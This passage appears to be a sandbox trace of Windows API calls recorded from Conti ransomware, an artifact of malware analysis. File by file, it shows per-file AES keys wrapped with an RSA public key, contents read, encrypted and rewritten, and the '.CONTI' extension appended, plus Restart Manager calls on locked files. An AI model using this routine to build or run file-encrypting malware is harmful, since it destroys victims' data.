	[0142.573] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\h66gawmx8x_7pylvat8.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\h66gawmx8x_7pylvat8.wav.conti")) returned 1
	[0142.574] GetProcessHeap () returned 0x1720000
	[0142.574] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0142.574] CryptDestroyKey (hKey=0x6b7ecf8) returned 1
	[0142.574] GetProcessHeap () returned 0x1720000
	[0142.574] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0142.575] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0142.575] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ce18 | out: phKey=0x6b4ce18*=0x6b7ebb8) returned 1
	[0142.575] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ce1c, pdwDataLen=0x34ffaac | out: pbData=0x6b4ce1c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0142.575] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26
	[0142.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0142.576] GetLastError () returned 0x20
	[0142.576] RmStartSession () returned 0x0
	[0142.584] RmRegisterResources () returned 0x0
	[0142.590] RmGetList () returned 0xea
	[0145.334] RmShutdown () returned 0x15e
	[0151.400] RmEndSession () 

Thread:
	id = 146
	os_tid = 0xf64

	[0093.137] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x11c20000
	[0093.138] CryptAcquireContextA (in: phProv=0x35ffa8c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x35ffa8c*=0x176b798) returned 1
	[0093.140] CryptImportKey (in: hProv=0x176b798, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x35ffa88 | out: phKey=0x35ffa88*=0x175e8b0) returned 1
	[0093.140] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0093.173] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17bfeb0 | out: phKey=0x17bfeb0*=0x175e730) returned 1
	[0093.173] CryptExportKey (in: hKey=0x175e730, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17bfeb4, pdwDataLen=0x35ffa54 | out: pbData=0x17bfeb4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0093.174] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0093.353] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.354] GetLastError () returned 0x0
	[0093.354] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=6004) returned 1
	[0093.354] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1774
	[0093.354] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.354] SetEndOfFile (hFile=0x338) returned 1
	[0093.354] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.354] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.354] WriteFile (in: hFile=0x338, lpBuffer=0x17bfeb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17bfeb4*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.356] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.356] ReadFile (in: hFile=0x338, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1774, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1774, lpOverlapped=0x0) returned 1
	[0093.357] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1774, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1780) returned 1
	[0093.357] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.357] WriteFile (in: hFile=0x338, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1780, lpOverlapped=0x0) returned 1
	[0093.357] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.357] WriteFile (in: hFile=0x338, lpBuffer=0x17bfea8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17bfea8*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0093.357] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.357] CloseHandle (hObject=0x338) returned 1
	[0093.358] GetProcessHeap () returned 0x1720000
	[0093.358] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.359] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" | out: lpString1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log"
	[0093.359] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.CONTI") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.CONTI"
	[0093.359] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.CONTI" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.conti")) returned 1
	[0093.359] GetProcessHeap () returned 0x1720000
	[0093.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.359] CryptDestroyKey (hKey=0x175e730) returned 1
	[0093.359] GetProcessHeap () returned 0x1720000
	[0093.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740820 | out: hHeap=0x1720000) returned 1
	[0093.359] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0093.730] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x175e630) returned 1
	[0093.730] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x35ffa54 | out: pbData=0x17c5594*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0093.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0093.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.735] GetLastError () returned 0x0
	[0093.735] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=86442) returned 1
	[0093.735] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x151aa
	[0093.735] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.735] SetEndOfFile (hFile=0x34c) returned 1
	[0093.735] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.735] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.736] WriteFile (in: hFile=0x34c, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.737] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.737] ReadFile (in: hFile=0x34c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x151aa, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x151aa, lpOverlapped=0x0) returned 1
	[0093.740] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x151aa, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x151b0) returned 1
	[0093.740] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.740] WriteFile (in: hFile=0x34c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x151b0, lpOverlapped=0x0) returned 1
	[0093.740] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.740] WriteFile (in: hFile=0x34c, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0093.740] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.740] CloseHandle (hObject=0x34c) returned 1
	[0093.742] GetProcessHeap () returned 0x1720000
	[0093.742] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.743] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml"
	[0093.744] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.CONTI"
	[0093.744] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.conti")) returned 1
	[0093.744] GetProcessHeap () returned 0x1720000
	[0093.744] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.744] CryptDestroyKey (hKey=0x175e630) returned 1
	[0093.744] GetProcessHeap () returned 0x1720000
	[0093.744] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.744] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0094.121] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x175e4f0) returned 1
	[0094.121] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x35ffa54 | out: pbData=0x17d5f9c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0094.128] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0094.128] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.129] GetLastError () returned 0x0
	[0094.129] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=39050) returned 1
	[0094.129] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x988a
	[0094.129] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.129] SetEndOfFile (hFile=0x34c) returned 1
	[0094.129] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.129] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.129] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.131] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.131] ReadFile (in: hFile=0x34c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x988a, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x988a, lpOverlapped=0x0) returned 1
	[0094.132] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x988a, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x9890) returned 1
	[0094.132] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.132] WriteFile (in: hFile=0x34c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x9890, lpOverlapped=0x0) returned 1
	[0094.132] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.132] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0094.132] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.132] CloseHandle (hObject=0x34c) returned 1
	[0094.133] GetProcessHeap () returned 0x1720000
	[0094.133] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.134] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml"
	[0094.134] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.CONTI"
	[0094.134] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.conti")) returned 1
	[0094.137] GetProcessHeap () returned 0x1720000
	[0094.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.137] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.137] GetProcessHeap () returned 0x1720000
	[0094.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc470 | out: hHeap=0x1720000) returned 1
	[0094.137] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0095.292] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c83f0) returned 1
	[0095.292] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x35ffa54 | out: pbData=0x17d31fc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0095.293] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0096.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0096.829] GetLastError () returned 0x0
	[0096.829] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=69632) returned 1
	[0096.829] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.829] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.829] SetEndOfFile (hFile=0x3a0) returned 1
	[0096.829] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.829] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.829] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.830] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.830] ReadFile (in: hFile=0x3a0, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.859] CryptEncrypt (in: hKey=0x17c83f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x11000, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x11010) returned 1
	[0096.859] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.859] WriteFile (in: hFile=0x3a0, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x11010, lpOverlapped=0x0) returned 1
	[0096.859] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.859] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0096.859] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.860] CloseHandle (hObject=0x3a0) returned 1
	[0096.899] GetProcessHeap () returned 0x1720000
	[0096.899] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x18038a8
	[0096.900] lstrcpyW (in: lpString1=0x18038a8, lpString2="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx"
	[0096.900] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.CONTI"
	[0096.900] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.conti")) returned 1
	[0096.940] GetProcessHeap () returned 0x1720000
	[0096.940] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18038a8 | out: hHeap=0x1720000) returned 1
	[0096.941] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0096.941] GetProcessHeap () returned 0x1720000
	[0096.941] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0096.941] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0099.164] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17e9228 | out: phKey=0x17e9228*=0x17c7e70) returned 1
	[0099.164] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e922c, pdwDataLen=0x35ffa54 | out: pbData=0x17e922c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
